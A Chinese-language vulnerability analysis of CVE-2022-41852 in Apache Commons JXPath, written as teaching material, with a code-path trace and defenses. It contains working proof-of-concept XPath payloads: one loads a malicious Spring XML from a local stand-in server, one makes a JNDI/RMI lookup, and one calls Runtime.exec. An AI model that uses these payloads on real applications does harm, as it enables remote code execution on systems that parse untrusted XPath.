CVE-2022-41852 Apache Commons Jxpath 漏洞分析
字数 1550 2025-08-26 22:11:40

Apache Commons JXPath 漏洞分析 (CVE-2022-41852) 教学文档

漏洞概述

Apache Commons JXPath 组件在处理不可信的XPath表达式时存在远程代码执行(RCE)漏洞。当应用程序使用JXPath解析用户可控的XPath表达式时,攻击者可以构造恶意XPath表达式实现任意Java代码执行。

受影响方法:除compilecompilePath外的所有解析XPath字符串的方法。

漏洞原理

JXPath支持"Extension Functions"(扩展功能),允许XPath表达式与Java代码交互。攻击者可以通过三种方式利用此功能:

  1. 通过new关键字创建对象
  2. 调用静态方法
  3. 调用普通方法

漏洞利用方式

1. 通过new创建对象

public static void main(String[] args) {
    try {
        JXPathContext context = JXPathContext.newContext(null);
        context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:9000/spring-Evil.xml\")");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

执行流程

  1. JXPathContext.getValue()调用compileExpression编译XPath表达式
  2. Parser.parseExpression进行表达式解析
  3. 通过PackageFunctions.getFunction查找方法
  4. 识别new关键字后调用MethodLookupUtils.lookupConstructor获取构造方法
  5. 封装为ConstructorFunction并调用invoke执行构造方法
  6. 实例化ClassPathXmlApplicationContext加载远程恶意XML实现RCE

2. 调用静态方法

public static void main(String[] args) {
    try {
        JXPathContext context = JXPathContext.newContext(null);
        context.getValue("javax.naming.InitialContext.doLookup('rmi://127.0.0.1:1099/1u560y')");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

执行流程

  1. 类似第一种方式解析表达式
  2. 通过MethodLookupUtils.lookupStaticMethod查找静态方法
  3. 封装为MethodFunction并调用invoke执行静态方法
  4. 触发JNDI注入漏洞

3. 调用普通方法

public static void main(String[] args) {
    try {
        JXPathContext context = JXPathContext.newContext(null);
        context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

执行流程

  1. 解析表达式并获取目标对象(Runtime实例)
  2. 查找exec方法
  3. 封装为MethodFunction并调用invoke执行方法
  4. 直接执行系统命令

技术细节分析

关键类与方法

  1. JXPathContextReferenceImpl:

    • getValue(): 入口方法
    • compileExpression(): 编译XPath表达式
  2. Parser:

    • parseExpression(): 解析XPath表达式
  3. PackageFunctions:

    • getFunction(): 查找并返回对应函数
    • 处理三种情况:构造方法、静态方法和普通方法
  4. MethodLookupUtils:

    • lookupMethod(): 查找方法
    • lookupConstructor(): 查找构造方法
    • lookupStaticMethod(): 查找静态方法
  5. 函数封装类:

    • ConstructorFunction: 封装构造方法
    • MethodFunction: 封装普通方法和静态方法

关键执行流程

  1. 表达式解析阶段:

    • 将XPath字符串解析为语法树
    • 识别Java方法调用语法
  2. 方法查找阶段:

    • 根据最后一个.分割类名和方法名
    • 使用Class.forName加载类
    • 区分new关键字和普通方法调用
  3. 方法执行阶段:

    • 通过反射调用目标方法
    • 参数类型转换和匹配

防御措施

  1. 升级到修复版本
  2. 避免使用JXPath解析不可信的XPath表达式
  3. 使用compilecompilePath方法替代直接解析
  4. 实施输入验证和过滤

总结

CVE-2022-41852漏洞源于JXPath过度灵活的Java方法调用功能,通过精心构造的XPath表达式,攻击者可实现任意Java代码执行。理解其三种利用方式及底层原理对于漏洞防护和代码审计具有重要意义。

Apache Commons JXPath 漏洞分析 (CVE-2022-41852) 教学文档 漏洞概述 Apache Commons JXPath 组件在处理不可信的XPath表达式时存在远程代码执行(RCE)漏洞。当应用程序使用JXPath解析用户可控的XPath表达式时,攻击者可以构造恶意XPath表达式实现任意Java代码执行。 受影响方法 :除 compile 和 compilePath 外的所有解析XPath字符串的方法。 漏洞原理 JXPath支持"Extension Functions"(扩展功能),允许XPath表达式与Java代码交互。攻击者可以通过三种方式利用此功能: 通过 new 关键字创建对象 调用静态方法 调用普通方法 漏洞利用方式 1. 通过 new 创建对象 执行流程 : JXPathContext.getValue() 调用 compileExpression 编译XPath表达式 Parser.parseExpression 进行表达式解析 通过 PackageFunctions.getFunction 查找方法 识别 new 关键字后调用 MethodLookupUtils.lookupConstructor 获取构造方法 封装为 ConstructorFunction 并调用 invoke 执行构造方法 实例化 ClassPathXmlApplicationContext 加载远程恶意XML实现RCE 2. 调用静态方法 执行流程 : 类似第一种方式解析表达式 通过 MethodLookupUtils.lookupStaticMethod 查找静态方法 封装为 MethodFunction 并调用 invoke 执行静态方法 触发JNDI注入漏洞 3. 调用普通方法 执行流程 : 解析表达式并获取目标对象(Runtime实例) 查找 exec 方法 封装为 MethodFunction 并调用 invoke 执行方法 直接执行系统命令 技术细节分析 关键类与方法 JXPathContextReferenceImpl : getValue() : 入口方法 compileExpression() : 编译XPath表达式 Parser : parseExpression() : 解析XPath表达式 PackageFunctions : getFunction() : 查找并返回对应函数 处理三种情况:构造方法、静态方法和普通方法 MethodLookupUtils : lookupMethod() : 查找方法 lookupConstructor() : 查找构造方法 lookupStaticMethod() : 查找静态方法 函数封装类: ConstructorFunction : 封装构造方法 MethodFunction : 封装普通方法和静态方法 关键执行流程 表达式解析阶段: 将XPath字符串解析为语法树 识别Java方法调用语法 方法查找阶段: 根据最后一个 . 分割类名和方法名 使用 Class.forName 加载类 区分 new 关键字和普通方法调用 方法执行阶段: 通过反射调用目标方法 参数类型转换和匹配 防御措施 升级到修复版本 避免使用JXPath解析不可信的XPath表达式 使用 compile 或 compilePath 方法替代直接解析 实施输入验证和过滤 总结 CVE-2022-41852漏洞源于JXPath过度灵活的Java方法调用功能,通过精心构造的XPath表达式,攻击者可实现任意Java代码执行。理解其三种利用方式及底层原理对于漏洞防护和代码审计具有重要意义。